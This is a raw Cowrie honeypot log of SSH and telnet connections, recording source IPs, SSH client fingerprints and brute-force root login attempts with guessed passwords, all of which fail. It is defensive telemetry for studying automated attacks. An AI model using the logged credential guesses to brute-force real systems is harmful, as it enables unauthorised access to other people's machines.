{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:39:20.797529Z","src_ip":"103.172.78.219","session":"70b95fffafcc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mamama","message":"login attempt [root/mamama] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:39:21.593557Z","src_ip":"103.172.78.219","session":"70b95fffafcc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:39:22.861881Z","src_ip":"103.172.78.219","session":"70b95fffafcc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":46898,"dst_ip":"159.203.135.109","dst_port":22,"session":"980a2c1c7d08","protocol":"ssh","message":"New connection: 103.98.149.87:46898 (159.203.135.109:22) [session: 980a2c1c7d08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:39:28.147010Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:39:28.151469Z","src_ip":"103.98.149.87","session":"980a2c1c7d08","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:39:28.389452Z","src_ip":"103.98.149.87","session":"980a2c1c7d08","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123451","message":"login attempt [root/123451] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:39:29.077893Z","src_ip":"103.98.149.87","session":"980a2c1c7d08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:39:30.333987Z","src_ip":"103.98.149.87","session":"980a2c1c7d08","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33984,"dst_ip":"10.17.0.5","dst_port":23,"session":"b164eddfebac","protocol":"telnet","message":"New connection: 192.119.13.58:33984 (10.17.0.5:23) [session: b164eddfebac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:39:54.560878Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49754,"dst_ip":"10.17.0.5","dst_port":23,"session":"9a6a72524dec","protocol":"telnet","message":"New connection: 192.119.13.58:49754 (10.17.0.5:23) [session: 9a6a72524dec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:39:58.211980Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35674,"dst_ip":"10.17.0.5","dst_port":23,"session":"ec57b4c4f21b","protocol":"telnet","message":"New connection: 192.119.13.58:35674 (10.17.0.5:23) [session: ec57b4c4f21b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:40:08.700662Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43722,"dst_ip":"10.17.0.5","dst_port":23,"session":"ba4726f8377b","protocol":"telnet","message":"New connection: 192.119.13.58:43722 (10.17.0.5:23) [session: ba4726f8377b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:40:17.580234Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51736,"dst_ip":"10.17.0.5","dst_port":23,"session":"eed8968e2969","protocol":"telnet","message":"New connection: 192.119.13.58:51736 (10.17.0.5:23) [session: eed8968e2969]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:40:19.569571Z"}
{"eventid":"cowrie.session.closed","duration":34.0622022151947,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:40:28.622964Z","src_ip":"192.119.13.58","session":"b164eddfebac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.106624126434326,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:40:32.318479Z","src_ip":"192.119.13.58","session":"9a6a72524dec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.265472173690796,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:40:45.965989Z","src_ip":"192.119.13.58","session":"ec57b4c4f21b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.183.219","src_port":43442,"dst_ip":"10.17.0.5","dst_port":22,"session":"5bc2c2c9b696","protocol":"ssh","message":"New connection: 103.75.183.219:43442 (10.17.0.5:22) [session: 5bc2c2c9b696]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:40:57.116104Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:40:57.121231Z","src_ip":"103.75.183.219","session":"5bc2c2c9b696","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:40:57.368973Z","src_ip":"103.75.183.219","session":"5bc2c2c9b696","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.174044609069824,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:40:57.754087Z","src_ip":"192.119.13.58","session":"ba4726f8377b","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"j38ifubn","message":"login attempt [root/j38ifubn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:40:58.113544Z","src_ip":"103.75.183.219","session":"5bc2c2c9b696","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.73915982246399,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:40:59.308611Z","src_ip":"192.119.13.58","session":"eed8968e2969","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:40:59.367795Z","src_ip":"103.75.183.219","session":"5bc2c2c9b696","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.219.170.37","src_port":60102,"dst_ip":"159.203.135.109","dst_port":22,"session":"f53670d02b4d","protocol":"ssh","message":"New connection: 103.219.170.37:60102 (159.203.135.109:22) [session: f53670d02b4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:40:59.714605Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:40:59.719445Z","src_ip":"103.219.170.37","session":"f53670d02b4d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:40:59.794978Z","src_ip":"103.219.170.37","session":"f53670d02b4d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Bb123456","message":"login attempt [root/Bb123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:41:00.021431Z","src_ip":"103.219.170.37","session":"f53670d02b4d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:41:01.100428Z","src_ip":"103.219.170.37","session":"f53670d02b4d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43738,"dst_ip":"10.17.0.5","dst_port":23,"session":"0d62a5cbe25a","protocol":"telnet","message":"New connection: 192.119.13.58:43738 (10.17.0.5:23) [session: 0d62a5cbe25a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:41:15.136066Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52214,"dst_ip":"10.17.0.5","dst_port":23,"session":"34474322455a","protocol":"telnet","message":"New connection: 192.119.13.58:52214 (10.17.0.5:23) [session: 34474322455a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:41:17.076049Z"}
{"eventid":"cowrie.session.closed","duration":42.4719340801239,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:41:57.607854Z","src_ip":"192.119.13.58","session":"0d62a5cbe25a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":46386,"dst_ip":"159.203.135.109","dst_port":22,"session":"536a525c2c55","protocol":"ssh","message":"New connection: 103.149.28.157:46386 (159.203.135.109:22) [session: 536a525c2c55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:42:06.664726Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:42:06.670878Z","src_ip":"103.149.28.157","session":"536a525c2c55","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.84271788597107,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:42:06.918642Z","src_ip":"192.119.13.58","session":"34474322455a","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:42:06.924584Z","src_ip":"103.149.28.157","session":"536a525c2c55","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"345345","message":"login attempt [root/345345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:42:07.944034Z","src_ip":"103.149.28.157","session":"536a525c2c55","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:42:09.204548Z","src_ip":"103.149.28.157","session":"536a525c2c55","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.32.39.21","src_port":45600,"dst_ip":"159.203.135.109","dst_port":22,"session":"6cd9dda44389","protocol":"ssh","message":"New connection: 176.32.39.21:45600 (159.203.135.109:22) [session: 6cd9dda44389]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:42:14.737274Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:42:14.743220Z","src_ip":"176.32.39.21","session":"6cd9dda44389","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:42:14.863508Z","src_ip":"176.32.39.21","session":"6cd9dda44389","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:42:15.230156Z","src_ip":"176.32.39.21","session":"6cd9dda44389","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:42:16.356320Z","src_ip":"176.32.39.21","session":"6cd9dda44389","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":15052,"dst_ip":"159.203.135.109","dst_port":22,"session":"f1a5bbb9f565","protocol":"ssh","message":"New connection: 38.93.206.2:15052 (159.203.135.109:22) [session: f1a5bbb9f565]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:42:20.974441Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:42:20.978979Z","src_ip":"38.93.206.2","session":"f1a5bbb9f565","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:42:21.029117Z","src_ip":"38.93.206.2","session":"f1a5bbb9f565","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zaxscd","message":"login attempt [root/zaxscd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:42:21.181753Z","src_ip":"38.93.206.2","session":"f1a5bbb9f565","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:42:22.236335Z","src_ip":"38.93.206.2","session":"f1a5bbb9f565","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":57112,"dst_ip":"10.17.0.5","dst_port":22,"session":"9fd5e7b42267","protocol":"ssh","message":"New connection: 103.122.221.179:57112 (10.17.0.5:22) [session: 9fd5e7b42267]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:42:25.677486Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:42:25.681589Z","src_ip":"103.122.221.179","session":"9fd5e7b42267","protocol":"ssh"}
